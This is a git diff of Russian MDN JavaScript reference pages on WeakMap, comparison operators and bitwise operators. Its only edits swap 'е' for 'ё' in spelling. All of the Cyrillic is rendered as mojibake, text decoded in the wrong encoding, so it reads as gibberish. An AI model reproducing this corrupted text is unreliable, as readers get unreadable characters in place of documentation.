<dt>{{jsxref("WeakMap.set", "WeakMap.prototype.set(key, value)")}}</dt>
<dd>УстанавливаСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΠΊΠ»ΡŽΡ‡Ρƒ, послС Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ самого сСбя.</dd>
<dt><s class="obsoleteElement">{{jsxref("WeakMap.prototype.clear()")}} {{obsolete_inline}}</s></dt>
- <dd><s class="obsoleteElement">УдаляСт всС ΠΊΠ»ΡŽΡ‡ΠΈ-значСния ΠΈΠ·Β <code>WeakMap</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΅ΡΡ‚ΡŒΒ <code>WeakMap</code>-like ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠΌΠ΅Π΅Ρ‚<code>.clear()</code> ΠΌΠ΅Ρ‚ΠΎΠ΄Β ΠΏΡƒΡ‚Π΅ΠΌ инкапсулирования <code>WeakMap</code>Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Ρ€Π°Π½Π½Π΅Π΅ Π½Π΅ имСвшСго Π΅Π³ΠΎΒ (смотри ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π° страницС {{jsxref("WeakMap")}})</s></dd>
+ <dd><s class="obsoleteElement">УдаляСт всС ΠΊΠ»ΡŽΡ‡ΠΈ-значСния ΠΈΠ·Β <code>WeakMap</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΅ΡΡ‚ΡŒΒ <code>WeakMap</code>-like ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠΌΠ΅Π΅Ρ‚<code>.clear()</code> ΠΌΠ΅Ρ‚ΠΎΠ΄Β ΠΏΡƒΡ‚Ρ‘ΠΌ инкапсулирования <code>WeakMap</code>Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Ρ€Π°Π½Π½Π΅Π΅ Π½Π΅ имСвшСго Π΅Π³ΠΎΒ (смотри ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π° страницС {{jsxref("WeakMap")}})</s></dd>
</dl>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/conflicting/web/javascript/reference/operators_69135a8d5772f8b6e45265523df05d89/index.html b/files/ru/conflicting/web/javascript/reference/operators_69135a8d5772f8b6e45265523df05d89/index.html
index a08c948525..4f6c0a178f 100644
--- a/files/ru/conflicting/web/javascript/reference/operators_69135a8d5772f8b6e45265523df05d89/index.html
+++ b/files/ru/conflicting/web/javascript/reference/operators_69135a8d5772f8b6e45265523df05d89/index.html
@@ -167,8 +167,8 @@ original_slug: Web/JavaScript/Reference/Operators/ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹_сравнΠ
<ul>
<li>ΠŸΡ€ΠΈ сравнСнии числа <code>(Number)</code> ΠΈ строки <code>(String)</code>, JavaScript пытаСтся ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ числовой Π»ΠΈΡ‚Π΅Ρ€Π°Π» строки Π² число. Π—Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ΅ число округляСтся Π΄ΠΎ блиТайшСго Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠ³ΠΎ значСния Ρ‚ΠΈΠΏΠ° <code>Number</code>.</li>
<li>Если ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΎΠΏΠ΅Ρ€Π°Π½Π΄ΠΎΠ² являСтся логичСским <code>(Boolean)</code>, Ρ‚ΠΎ ΠΎΠ½ прСобразуСтся Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠ° <code>(Number)</code>. <strong>Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ логичСского ΠΎΠΏΠ΅Ρ€Π°Π½Π΄Π° равняСтся истинС <code>(true)</code>, Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого ΠΎΠΏΠ΅Ρ€Π°Π½Π΄Π° прСобразуСтся Π² 1. Π˜Π½Π°Ρ‡Π΅ - Π² 0 <code>(лоТь / false)</code>.</strong></li>
- <li>Если ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ сравниваСтся с числом ΠΈΠ»ΠΈ строкой, JavaScript пытаСтся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ прСобразуСтся Π² ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ², посрСдством ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² <strong><code>valueOf()</code></strong> ΠΈ <strong><code>toString()</code></strong>. Если ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π΅ удаСтся, гСнСрируСтся ошибка Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ выполнСния.</li>
- <li>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ прСобразуСтся Π² ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ², Ссли, ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли, Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΎΠΏΠ΅Ρ€Π°Π½Π΄ являСтся ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²ΠΎΠΌ. Π’ ΠΈΠ½ΠΎΠΌ случаС, ΠΎΠΏΠ΅Ρ€Π°Π½Π΄Ρ‹ ΡΡ€Π°Π²Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, соотвСтствСнно, опСрация сравнСния Π²Π΅Ρ€Π½Π΅Ρ‚ истину Π² Ρ‚ΠΎΠΌ случаС, Ссли Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ ссылки ΠΎΠ±ΠΎΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π½Π° ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² памяти.</li>
+ <li>Если ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ сравниваСтся с числом ΠΈΠ»ΠΈ строкой, JavaScript пытаСтся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ прСобразуСтся Π² ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ², посрСдством ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² <strong><code>valueOf()</code></strong> ΠΈ <strong><code>toString()</code></strong>. Если ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π΅ удаётся, гСнСрируСтся ошибка Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ выполнСния.</li>
+ <li>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ прСобразуСтся Π² ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ², Ссли, ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли, Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΎΠΏΠ΅Ρ€Π°Π½Π΄ являСтся ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²ΠΎΠΌ. Π’ ΠΈΠ½ΠΎΠΌ случаС, ΠΎΠΏΠ΅Ρ€Π°Π½Π΄Ρ‹ ΡΡ€Π°Π²Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, соотвСтствСнно, опСрация сравнСния Π²Π΅Ρ€Π½Ρ‘Ρ‚ истину Π² Ρ‚ΠΎΠΌ случаС, Ссли Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ ссылки ΠΎΠ±ΠΎΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π½Π° ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² памяти.</li>
</ul>
<div class="note"><strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:</strong> ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹Β String ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚ΠΈΠΏ Object, Π° Π½Π΅ String. Π’Π°ΠΊΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Ρ€Π΅Π΄ΠΊΠΎ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ вас сильно ΡƒΠ΄ΠΈΠ²ΠΈΡ‚ΡŒ.</div>
diff --git a/files/ru/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html b/files/ru/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html
index d95f6175d1..8357e8b85a 100644
--- a/files/ru/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html
+++ b/files/ru/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html
@@ -80,9 +80,9 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators
<h3 id="Signed_32-bit_integers" name="Signed_32-bit_integers">ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅ чисСл (Signed 32-bit integers)</h3>
-<p>ΠžΠΏΠ΅Ρ€Π°Π½Π΄Ρ‹ всСх Π±ΠΈΡ‚ΠΎΠ²Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π² 32-Ρ… Π±ΠΈΡ‚ΠΎΠ²Ρ‹Π΅ Ρ†Π΅Π»Ρ‹Π΅ со Π·Π½Π°ΠΊΠΎΠΌ прСдставлСнныС Π² Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΊΠΎΠ΄Π΅ ΠΈ с использованиСм порядка Π±ΠΈΡ‚ΠΎΠ² ΠΎΡ‚ "ΡΡ‚Π°Ρ€ΡˆΠ΅Π³ΠΎ ΠΊ ΠΌΠ»Π°Π΄ΡˆΠ΅ΠΌΡƒ". ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ Π±ΠΈΡ‚ΠΎΠ² "ΠΎΡ‚ ΡΡ‚Π°Ρ€ΡˆΠ΅Π³ΠΎ ΠΊ ΠΌΠ»Π°Π΄ΡˆΠ΅ΠΌΡƒ" ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ Π·Π½Π°Ρ‡ΠΈΠΌΡ‹ΠΉ Π±ΠΈΡ‚ (Π±ΠΈΡ‚ с наибольшим Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ) находится слСва Ссли 32-Ρ… разрядноС число прСдставлСно Π² Π²ΠΈΠ΄Π΅ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ (ΡˆΠΊΠ°Π»Ρ‹). ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅ Π² Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΊΠΎΠ΄Π΅Β  ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ числа (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ 5 ΠΈ -5) получаСтся ΠΏΡƒΡ‚Π΅ΠΌ инвСртирования числа (опСрация "ΠΏΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ НЕ", Ρ‚Π°ΠΊΠΆΠ΅ извСстноС как "ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΠ΄") ΠΈ прибавлСния ΠΊ Π½Π΅ΠΌΡƒ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹.</p>
+<p>ΠžΠΏΠ΅Ρ€Π°Π½Π΄Ρ‹ всСх Π±ΠΈΡ‚ΠΎΠ²Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π² 32-Ρ… Π±ΠΈΡ‚ΠΎΠ²Ρ‹Π΅ Ρ†Π΅Π»Ρ‹Π΅ со Π·Π½Π°ΠΊΠΎΠΌ прСдставлСнныС Π² Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΊΠΎΠ΄Π΅ ΠΈ с использованиСм порядка Π±ΠΈΡ‚ΠΎΠ² ΠΎΡ‚ "ΡΡ‚Π°Ρ€ΡˆΠ΅Π³ΠΎ ΠΊ ΠΌΠ»Π°Π΄ΡˆΠ΅ΠΌΡƒ". ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ Π±ΠΈΡ‚ΠΎΠ² "ΠΎΡ‚ ΡΡ‚Π°Ρ€ΡˆΠ΅Π³ΠΎ ΠΊ ΠΌΠ»Π°Π΄ΡˆΠ΅ΠΌΡƒ" ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ Π·Π½Π°Ρ‡ΠΈΠΌΡ‹ΠΉ Π±ΠΈΡ‚ (Π±ΠΈΡ‚ с наибольшим Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ) находится слСва Ссли 32-Ρ… разрядноС число прСдставлСно Π² Π²ΠΈΠ΄Π΅ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ (ΡˆΠΊΠ°Π»Ρ‹). ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅ Π² Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΊΠΎΠ΄Π΅Β  ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ числа (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ 5 ΠΈ -5) получаСтся ΠΏΡƒΡ‚Ρ‘ΠΌ инвСртирования числа (опСрация "ΠΏΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ НЕ", Ρ‚Π°ΠΊΠΆΠ΅ извСстноС как "ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΠ΄") ΠΈ прибавлСния ΠΊ Π½Π΅ΠΌΡƒ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹.</p>
-<p>Π’ΠΎΠ·ΡŒΠΌΠ΅ΠΌ, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, число 314. ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΠΌ Π΅Π³ΠΎ Π² Π΄Π²ΠΎΠΈΡ‡Π½ΠΎΠΌ ΠΊΠΎΠ΄Π΅:</p>
+<p>Π’ΠΎΠ·ΡŒΠΌΡ‘ΠΌ, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, число 314. ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΠΌ Π΅Π³ΠΎ Π² Π΄Π²ΠΎΠΈΡ‡Π½ΠΎΠΌ ΠΊΠΎΠ΄Π΅:</p>
<pre class="eval">00000000000000000000000100111010
</pre>
@@ -96,7 +96,7 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators
<pre class="eval">11111111111111111111111011000110</pre>
-<p>Π”ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π΄ΠΎ 2-Ρ… Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Π½Π°ΠΌ, Ρ‡Ρ‚ΠΎ Ρƒ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ числа самый Π»Π΅Π²Ρ‹ΠΉ Π±ΠΈΡ‚ Ρ€Π°Π²Π΅Π½ 0, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Ρƒ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΎΠ½ Ρ€Π°Π²Π΅Π½ 1. Он зовСтся <em>Π·Π½Π°ΠΊΠΎΠ²Ρ‹ΠΌ Π±ΠΈΡ‚ΠΎΠΌ</em>.</p>
+<p>Π”ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π΄ΠΎ 2-Ρ… Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Π½Π°ΠΌ, Ρ‡Ρ‚ΠΎ Ρƒ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ числа самый Π»Π΅Π²Ρ‹ΠΉ Π±ΠΈΡ‚ Ρ€Π°Π²Π΅Π½ 0, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Ρƒ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΎΠ½ Ρ€Π°Π²Π΅Π½ 1. Он зовётся <em>Π·Π½Π°ΠΊΠΎΠ²Ρ‹ΠΌ Π±ΠΈΡ‚ΠΎΠΌ</em>.</p>
<p><br>
Число 0 Π΅ΡΡ‚ΡŒ число, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π²ΠΎ всСх Π±ΠΈΡ‚ΠΎΠ²Ρ‹Ρ… позициях записаны Π½ΡƒΠ»ΠΈ.</p>
@@ -136,7 +136,7 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators
<h3 id="_.28Bitwise_AND.29" name="&amp;_.28Bitwise_AND.29">&amp; (ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ AND)</h3>
-<p>ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ И Π½Π°Π΄ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΏΠ°Ρ€ΠΎΠΉ Π±ΠΈΡ‚ΠΎΠ². ΠžΠΏΠ΅Ρ€Π°Ρ†ΠΈΡΒ <code>a</code> AND <code>b</code>Β Π²Π΅Ρ€Π½Π΅Ρ‚ 1 Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΈΒ <code>a</code>Β ΠΈΒ <code>b</code>Β Ρ€Π°Π²Π½Ρ‹ 1. Π’Π°Π±Π»ΠΈΡ†Π° истинности для этой ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ выглядит Ρ‚Π°ΠΊ:</p>
+<p>ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ И Π½Π°Π΄ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΏΠ°Ρ€ΠΎΠΉ Π±ΠΈΡ‚ΠΎΠ². ΠžΠΏΠ΅Ρ€Π°Ρ†ΠΈΡΒ <code>a</code> AND <code>b</code>Β Π²Π΅Ρ€Π½Ρ‘Ρ‚ 1 Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΈΒ <code>a</code>Β ΠΈΒ <code>b</code>Β Ρ€Π°Π²Π½Ρ‹ 1. Π’Π°Π±Π»ΠΈΡ†Π° истинности для этой ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ выглядит Ρ‚Π°ΠΊ:</p>
<table class="standard-table">
<tbody>
@@ -176,13 +176,13 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators
14 &amp; 9 (основаниС 10) = 00000000000000000000000000001000 (осн. 2) = 8 (осн. 10)
</pre>
-<p>ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ Β AND любого числа x с Π½ΡƒΠ»Π΅ΠΌ Π²Π΅Ρ€Π½Π΅Ρ‚ 0.</p>
+<p>ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ Β AND любого числа x с Π½ΡƒΠ»Ρ‘ΠΌ Π²Π΅Ρ€Π½Ρ‘Ρ‚ 0.</p>
-<p>ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ Β AND любого числа x с числом -1 Π²Π΅Ρ€Π½Π΅Ρ‚ Ρ….</p>
+<p>ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ Β AND любого числа x с числом -1 Π²Π΅Ρ€Π½Ρ‘Ρ‚ Ρ….</p>
<h3 id="_.28Bitwise_OR.29" name="|_.28Bitwise_OR.29">| (ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ OR)</h3>
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ Π˜Π›Π˜ Π½Π°Π΄ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΏΠ°Ρ€ΠΎΠΉ Π±ΠΈΡ‚ΠΎΠ². ΠžΠΏΠ΅Ρ€Π°Ρ†ΠΈΡΒ <code style="color: rgb(37, 34, 29); font-weight: inherit;">a</code>Β ORΒ <code style="color: rgb(37, 34, 29); font-weight: inherit;">b</code>Β Π²Π΅Ρ€Π½Π΅Ρ‚ 1 Ссли <code style="color: rgb(37, 34, 29); font-weight: inherit;">a</code>Β ΠΈΠ»ΠΈΒ <code style="color: rgb(37, 34, 29); font-weight: inherit;">b</code>Β Ρ€Π°Π²Π½Ρ‹ 1. Π’Π°Π±Π»ΠΈΡ†Π° истинности для этой ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ выглядит Ρ‚Π°ΠΊ:</p>
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ Π˜Π›Π˜ Π½Π°Π΄ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΏΠ°Ρ€ΠΎΠΉ Π±ΠΈΡ‚ΠΎΠ². ΠžΠΏΠ΅Ρ€Π°Ρ†ΠΈΡΒ <code style="color: rgb(37, 34, 29); font-weight: inherit;">a</code>Β ORΒ <code style="color: rgb(37, 34, 29); font-weight: inherit;">b</code>Β Π²Π΅Ρ€Π½Ρ‘Ρ‚ 1 Ссли <code style="color: rgb(37, 34, 29); font-weight: inherit;">a</code>Β ΠΈΠ»ΠΈΒ <code style="color: rgb(37, 34, 29); font-weight: inherit;">b</code>Β Ρ€Π°Π²Π½Ρ‹ 1. Π’Π°Π±Π»ΠΈΡ†Π° истинности для этой ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ выглядит Ρ‚Π°ΠΊ:</p>
<table class="standard-table">
<tbody>
@@ -222,13 +222,13 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators
14 | 9 (осн. 10) = 00000000000000000000000000001111 (осн. 2) = 15 (осн. 10)
</pre>
-<p>ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ OR любого числа x c Π½ΡƒΠ»Π΅ΠΌ Π²Π΅Ρ€Π½Π΅Ρ‚ x.</p>
+<p>ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ OR любого числа x c Π½ΡƒΠ»Ρ‘ΠΌ Π²Π΅Ρ€Π½Ρ‘Ρ‚ x.</p>
-<p>ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ OR любого числа x с числом -1 Π²Π΅Ρ€Π½Π΅Ρ‚ -1.</p>
+<p>ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ OR любого числа x с числом -1 Π²Π΅Ρ€Π½Ρ‘Ρ‚ -1.</p>
<h3 id=".5E_.28Bitwise_XOR.29" name=".5E_.28Bitwise_XOR.29">^ (ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ XOR)</h3>
-<p>ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ XOR Π½Π°Π΄ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΏΠ°Ρ€ΠΎΠΉ Π±ΠΈΡ‚ΠΎΠ². ΠžΠΏΠ΅Ρ€Π°Ρ†ΠΈΡΒ <code>a</code> XOR <code>b</code>Β Π²Π΅Ρ€Π½Π΅Ρ‚ 1 Ссли <code>a</code>Β Β ΠΈΒ <code>b</code>Β Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹.Β Π’Π°Π±Π»ΠΈΡ†Π° истинности для этой ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ выглядит Ρ‚Π°ΠΊ:</p>
